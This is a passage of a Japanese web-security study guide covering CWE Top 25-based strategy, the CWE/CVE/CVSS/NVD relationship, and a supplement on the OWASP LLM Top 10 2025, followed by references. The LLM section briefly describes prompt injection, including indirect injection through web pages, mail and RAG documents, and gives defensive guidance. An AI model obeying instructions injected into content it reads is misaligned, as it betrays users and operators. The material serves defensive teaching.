以下の 1〜25 は、MITREが公開する CWE Top 25 を土台にした中核項目です。 26〜50 は、本書がWebアプリ実装・運用の観点から補足した追加項目です。

公式Top 25ベース

本書の追加25項目

以下は、Webセキュリティ実務で遭遇しやすい論点を補うために、本書が追加した項目です。 公式順位ではなく、学習上の優先度を意識した補足リストとして読んでください。

CWE脆弱性を減らすための戦略

1. 開発段階(Prevention)

• セキュアコーディング教育 — OWASP Top 10、CWE Top 25の定期トレーニング
• コード審査 — ピアレビュー時に脆弱性パターンをチェック
• SAST(Static Application Security Testing: 静的アプリケーションセキュリティテスト) — SonarQube、Semgrepなどで自動検出

2. テスト段階(Detection)

• ユニットテスト — 入力検証、認可ロジックのテストケース
• DAST(Dynamic Application Security Testing: 動的アプリケーションセキュリティテスト) — OWASP ZAP、Burp Suiteで脆弱性スキャン
• ペネトレーションテスト — セキュリティ専門家による侵入テスト

3. デプロイ・運用(Remediation)

• 依存関係スキャン — npm audit、Snykで既知脆弱性を特定
• WAF(Web Application Firewall) — SQLインジェクション、XSSなどを検知・ブロック
• 監視・アラート — SIEM(Security Information and Event Management)、EDR(Endpoint Detection and Response: エンドポイント監視と対応)で異常検知

CWE / CVE / CVSS / NVDの関係

ここも略称が多いですが、「弱点の種類」「個別の脆弱性」「深刻度の点数」「それを探すデータベース」と考えると追いやすくなります。

CWE(弱点の種類)
 ↓
CVE(Common Vulnerabilities and Exposures: 個別の脆弱性)
 ↓
CVSS(Common Vulnerability Scoring System: 深刻度の表現)
 ↓
NVD(National Vulnerability Database: 脆弱性データベースと付加情報)

例：

• CWE-89 — SQLインジェクションという「弱点の型」
• CVE-2021-44228 — Log4jに存在した「個別の脆弱性」
• CVSS 10.0 — その脆弱性の技術的深刻度の表現
• NVD — CVEに対してCVSSやCPEなどの補足情報を提供するデータベース

それぞれの役割：

• CWE は「どういう設計・実装ミスか」を分類するためのもの
• CVE は「どの製品のどの脆弱性か」を識別するためのID
• CVSS は「その脆弱性がどの程度深刻か」を共通尺度で示すもの
• NVD はNISTが運営する脆弱性情報基盤で、CVEを横断的に検索・分析するのに使う

注意点：

• CVSSは「リスク」そのものではなく、主に技術的深刻度の指標
• 実際の優先度は、公開状況、資産価値、インターネット露出、悪用有無も合わせて判断する
• FIRSTの現行仕様は CVSS v4.0 だが、ツールや資料ではv3.1併記もまだ多い

補足: OWASP for LLM / GenAI

Webアプリケーション向けのOWASP Top 10に加えて、生成AIやLLM(Large Language Model: 大規模言語モデル)アプリケーション向けには OWASP GenAI Security Project が公開されています。 2025年版では、従来の「OWASP Top 10 for LLM Applications」がOWASP GenAI Security Projectの中核資料として継続しており、LLM固有の攻撃面を整理しています。

OWASP LLM Top 10 2025の主な項目

ここでいう Prompt Injection は、ユーザー入力や外部文書の中に紛れた命令でモデルの挙動をねじ曲げることです。Improper Output Handling はモデル出力を未検証のまま他の画面や処理へ流すこと、Excessive Agency はLLMに強すぎる権限やツール実行能力を与えることを指します。

Webセキュリティとの接続ポイント

• Prompt InjectionはLLM時代のInjection

  • 従来のSQLiやXSSと同じく、「入力が意図しない制御へ変わる」問題です。
  • 特にindirect prompt injectionは、Webページ、PDF、メール、RAG文書など外部コンテンツ経由で起きます。

• Improper Output HandlingはXSS / Command Injectionに直結する

  • LLM出力をそのままHTML、SQL、シェル、コード生成、テンプレートへ流すと、従来型の脆弱性へ変換されます。
  • モデル出力も「信頼できない入力」として扱う必要があります。

• Excessive AgencyはBroken Access Controlに近い

  • LLMがメール送信、購買、ファイル削除、DB更新などのツールを直接呼べる構成では、認可不備が重大化します。
  • 「モデルが判断したから実行する」は危険で、ツール呼び出し前に別レイヤで認可確認が必要です。

• Vector / Embedding Weaknessesは新しいデータ境界問題

  • RAGでは、検索対象文書の真正性や機密性がそのまま回答品質と漏洩リスクに直結します。
  • 文書混入、検索汚染、メタデータ権限漏れなどは、従来のアクセス制御やデータ整合性問題の延長線上にあります。

Embedding は文書を検索しやすい数値表現へ変換したもの、Vector はその数値列です。RAG ではこのベクトル検索基盤が壊れると、間違った文書や見せてはいけない文書をモデルが参照しやすくなります。

実装者向けの基本対策

• モデル入力、外部文書、ツール応答、モデル出力のすべてを 信頼しない
• system promptだけに安全性を依存しない
• モデル出力をUIやAPI応答へ出す前に、用途別に検証・サニタイズする
• LLMが呼べるツールは最小権限にし、重要操作は人間承認や再認証を挟む
• RAGでは文書の出所、権限、改ざん検知、インデックス更新経路を管理する
• トークン使用量、API呼び出し回数、外部ツール実行回数に上限を設ける
• 会話ログやプロンプトログに秘密情報を残しすぎない
• AI機能も通常のWeb機能と同じく、監査ログ・アラート・レート制限の対象にする

この文書との読み分け

• 本文の XSS、CSRF、認可、ログ、サプライチェーン、例外処理 は、LLMアプリでもそのまま重要です
• そのうえで、OWASP GenAI / LLM Top 10は prompt、RAG、モデル出力、ツール連携 というAI固有の追加層を扱います
• つまり、LLMアプリの防御は「Webセキュリティ + AI固有リスク」の二層で考えるのが実務的です

まとめ

Webセキュリティでは、入力検証、認証と認可、セッション管理、ブラウザ制御、依存関係管理、監視運用が相互につながっています。攻撃名を個別に覚えるよりも、「どの入力がどの権限でどこまで届くか」を追いながら読むと、実装とレビューの両方で使いやすい知識になります。

参考文献

公式・標準

• Authentication Cheat Sheet - OWASP
• Cross-Site Request Forgery Prevention Cheat Sheet
• CVSS v4.0 Specification
• CWE Database — 全CWE(1000+)の詳細定義
• CWE Top 25 - MITRE
• GraphQL Cheat Sheet
• Input Validation Cheat Sheet - OWASP
• JSON Web Token (JWT) - RFC 7519
• MDN: Content Security Policy
• MDN: CORS
• MDN: Set-Cookie / SameSite
• MITRE ATT&CK
• National Vulnerability Database (NVD)
• NIST Digital Identity Guidelines: Authentication and Authenticator Management
• OWASP API Security Top 10 2023
• OWASP Cheat Sheet Series
• OWASP Top 10
• OWASP Top 10 2025
• OWASP Top 10 for Large Language Model Applications
• OWASP Top 10 for LLM Applications 2025
• Password Storage Cheat Sheet - OWASP
• REST Security Cheat Sheet
• Session Management Cheat Sheet - OWASP
• Set-Cookie / SameSite - MDN
• Web Authentication Level 3 (WebAuthn, Candidate Recommendation Snapshot)
• WSTG - Stable: Test HTTP Strict Transport Security
• WSTG - v4.2: Configuration and Deployment Management Testing
• WSTG v4.2 - Authentication Testing
• WSTG v4.2 - Input Validation Testing
• WSTG v4.2 - Session Management Testing
• LLM01:2025 Prompt Injection
• OWASP Application Security Verification Standard
• OWASP GenAI Security Project
• OWASP GenAI Security Project promoted to Flagship status (March 26, 2025)
• OWASP Web Security Testing Guide
• npm audit
• OWASP ZAP

解説・補助

• ScoutSuite
• Trivy
• Hack The Box
• Prowler
• Snyk
• TryHackMe
• Burp Suite Community
• PortSwigger Web Security Academy